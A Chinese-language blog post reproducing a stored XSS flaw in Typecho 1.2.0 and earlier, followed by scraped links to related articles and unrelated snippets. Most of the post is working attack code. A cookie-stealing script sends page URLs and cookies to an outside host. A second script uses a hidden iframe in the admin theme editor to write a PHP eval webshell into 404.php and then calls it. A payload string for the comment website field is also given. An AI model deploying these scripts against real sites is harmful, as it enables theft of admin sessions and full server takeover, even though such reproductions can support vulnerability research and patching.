Typecho<=1.2.0 存储型XSS 复现
Typecho<=1.2.0 存储型XSS
影响版本
漏洞影响版本:Typecho <= 1.2.0
漏洞复现
cookie.js
// 定义一个全局变量 website,值为一个具体的网址
var website = "http://xss.xxxx.com";
// 声明并立即执行一个匿名函数
(function() {
// 创建 Image 对象,并给它的 src 属性赋值为 website 和一些参数
(new Image()).src = website
+ "/?keepsession=1"
+ "&location=" + escape((function() {
try {
// 尝试获取当前文档的 URL
return document.location.href;
} catch (e) {
// 如果出错,返回一个空字符串
return '';
}
})())
+ "&toplocation=" + escape((function() {
try {
// 尝试获取顶层窗口的 URL
return top.location.href;
} catch (e) {
// 如果出错,返回一个空字符串
return '';
}
})())
+ "&cookie=" + escape((function() {
try {
// 获取当前文档的 cookie
return document.cookie;
} catch (e) {
// 如果出错,返回一个空字符串
return '';
}
})())
+ "&opener=" + escape((function() {
try {
// 获取打开当前窗口的窗口的 URL
return (window.opener && window.opener.location.href) ? window.opener.location.href : '';
} catch (e) {
// 如果出错,返回一个空字符串
return '';
}
})());
})();
shell.js
function step1(){
// 创建一个包含要注入的 iframe 的 HTML 字符串
var data2="<iframe id=\"testxss\" src=\"/admin/theme-editor.php?theme=default&file=404.php\" width=\"0%\" height=\"0%\" onload=\"poc()\"></iframe>";
// 保存原网页内容
var oldata=document.body.innerHTML;
// 将注入的 iframe 添加到文档中
document.body.innerHTML=(oldata+data2);
}
// times 和 g_shell 变量用来跟踪 poc 函数执行的次数和是否已经成功注入 webshell
var times=0;
var g_shell=0;
function poc(){
// 如果执行次数 >= 10,或者已经成功注入 webshell,就不再执行
if(times<=10){
// 获取要修改的 DOM 节点和触发“保存修改”操作的按钮
var htmldata=document.getElementById('testxss').contentWindow.document.getElementById('content');
var btn=document.getElementById('testxss').contentWindow.document.getElementsByTagName('button');
// 保存要修改的原始数据,将要注入的 webshell 代码添加到末尾
olddatas=htmldata.innerText;
htmldata.innerText=('<?php @eval($_REQUEST["shell"]);?>\n')+olddatas;
// 点击保存按钮,提交修改后的数据
btn[1].click();
// 增加 poc 函数的执行次数
times+=1;
// 如果已经成功注入 webshell,通过 AJAX 请求访问 webshell 接口
if(g_shell==1){
var xhr1=new XMLHttpRequest();
xhr1.open('get','/usr/themes/Kratos/404.php?shell=1');
xhr1.send();
}
else{
return 0;
}
}
}
// 在页面加载完成后执行 step1 函数
step1();
在评论区的网站处插入包含上面js代码的网站提交


通过数据库已经可以查看到刚刚写入的url了
管理员访问后台评论会加载js文件里面的内容


之后会在404.php 文件里面写入一句话木马

http://47xx5/"></a><script>alert(document.cookie)</script><a/href="#

修复方案
更新到最新版本
Typecho<=1.2.0 存储型XSS 复现的更多相关文章
- 74CMS 3.0 存储型XSS漏洞
一. 启动环境 1.双击运行桌面phpstudy.exe软件 2.点击启动按钮,启动服务器环境 二.代码审计 1.双击启动桌面Seay源代码审计系统软件 2.因为74CMS3.0源代码编辑使用GBK编 ...
- Phpwind v9.0 存储型xss跨站漏洞
漏洞版本: Phpwind v9.0 漏洞描述: Phpwind专注于中小网站应用的整合和价值的发掘,我们认为,以社区为网站的基础,可以提供丰富的应用,满足人们获取信息.交流.娱乐.消费等生活需求.获 ...
- 【代码审计】eduaskcms_v1.0.7前台存储型XSS漏洞分析
0x00 环境准备 eduaskcms官网:https://www.eduaskcms.xin 网站源码版本:eduaskcms-1.0.7 程序源码下载:https://www.eduaskcm ...
- 利用mysql对特殊字符和超长字符会进行截断的特性 进行存储型XSS攻击——WordPress <4.1.2 & <=4.2 存储型xss
转自:Baidu Security LabXteam http://xteam.baidu.com/?p=177 漏洞概述 本次漏洞出现两个使用不同方式截断来实现的存储型xss,一种为特殊字符截断,一 ...
- 小白日记49:kali渗透测试之Web渗透-XSS(三)-存储型XSS、DOM型XSS、神器BEFF
存储型XSS与DOM型XSS [XSS原理] 存储型XSS 1.可长期存储于服务器端 2.每次用户访问都会被执行js脚本,攻击者只需侦听指定端口 #攻击利用方法大体等于反射型xss利用 ##多出现在留 ...
- 【代码审计】QYKCMS_v4.3.2 前台存储型XSS跨站脚本漏洞分析
0x00 环境准备 QYKCMS官网:http://www.qykcms.com/ 网站源码版本:QYKCMS_v4.3.2(企业站主题) 程序源码下载:http://bbs.qingyunke. ...
- 【代码审计】iZhanCMS_v2.1 前台存储型XSS漏洞分析
0x00 环境准备 iZhanCMS官网:http://www.izhancms.com 网站源码版本:爱站CMS(zend6.0) V2.1 程序源码下载:http://www.izhancms ...
- 富文本存储型XSS的模糊测试之道
富文本存储型XSS的模糊测试之道 凭借黑吧安全网漏洞报告平台的公开案例数据,我们足以管中窥豹,跨站脚本漏洞(Cross-site Script)仍是不少企业在业务安全风险排查和修复过程中需要对抗的“大 ...
- 无需登录-悟空CRM 存储型XSS
无需登录-悟空CRM 存储型XSS 审计悟空的缘由是看见某云爆出CRM的getshell,于是就想着去挖出来瞅瞅!但可能自己把自己给局限了,就想着去挖那些无限制访问的文件. 故事的发生点 漏洞文件:/ ...
- 代码审计之Catfish CMS v4.5.7后台作者权限越权两枚+存储型XSS一枚
首先本地搭建环境,我所使用的是Windows PHPstudy集成环境.使用起来非常方便.特别是审计的时候.可以任意切换PHP版本. 本文作者:226safe Team – Poacher 0×01 ...
随机推荐
- Linux系列(8)-添加用户并设置密码
#添加用户[root@iZm5ehnt0e8indgne1hibuZ ~]# useradd -m linsiyu #设置用户密码[root@iZm5ehnt0e8indgne1hibuZ ~]# p ...
- CentOS 7(Linux)安装Docker
CentOS 7(Linux)安装Docker 一.分别执行下列命令添加并更新yum源 yum update yum install epel-release -y yum clean all yum ...
- MonGdb#Mac安装
1.下载 # 进入 /usr/local cd /usr/local # 下载 sudo curl -O https://fastdl.mongodb.org/osx/mongodb-osx-ssl- ...
- Kafka源码阅读系列——Producer
Producer Kafka源码的exmaple模块有一个Producer类,继承了Thread类,构造方法会指定topic,是否异步,是否幂等,配置Kafka集群信息,初始化一个KafkaProdu ...
- C Ⅷ
数组 int number[100]; //这个数组可以放100个数 int x; int cnt = 0; double sum = 0; scanf("%d", & ...
- mysqld_safe Directory '/tmp/mysql' for UNIX socket file don't exists.
报错版本:mysql-5.7.35 1.报错完整提示信息: [root@localhost bin]# 2022-11-15T04:04:43.122905Z mysqld_safe Logging ...
- PYinstall打包程序出现编码错误的解决 'utf-8' codec can't decode byte 0xce in position 171: invalid continuation b
网上说,先执行,再打包 chcp 65001 试过没有用. 解决方案: 把import的包批量注释,然后寻找是import那个文件导致. 虽然注释会导致程序运行出错,但是打包才不管你能不能运行. 最后 ...
- Flink双流消费kafka合并数据,并包含滑动窗口、算子、输出到MySQL的示例
Java示例 import org.apache.flink.api.common.functions.MapFunction; import org.apache.flink.api.java.fu ...
- Less8-Less10 时间注入
Less-8和Less-5使用的是一样的布尔盲注,为了学习,这里我们使用时间盲注 Less-8 这里使用到了mysql中的if语句,格式为if(条件,正确执行,错误执行) 实例如图: sleep(秒速 ...
- Android笔记--修改Device File Explorer的文件打开方式
在首次打开该文件时,不小心选错了打开方式,导致以后每次打开也是同样的打开方式,也不会弹出第一次那样的打开方式的选择弹窗 在这里提供修改文件的默认打开方式的方法: 首先通过File->settin ...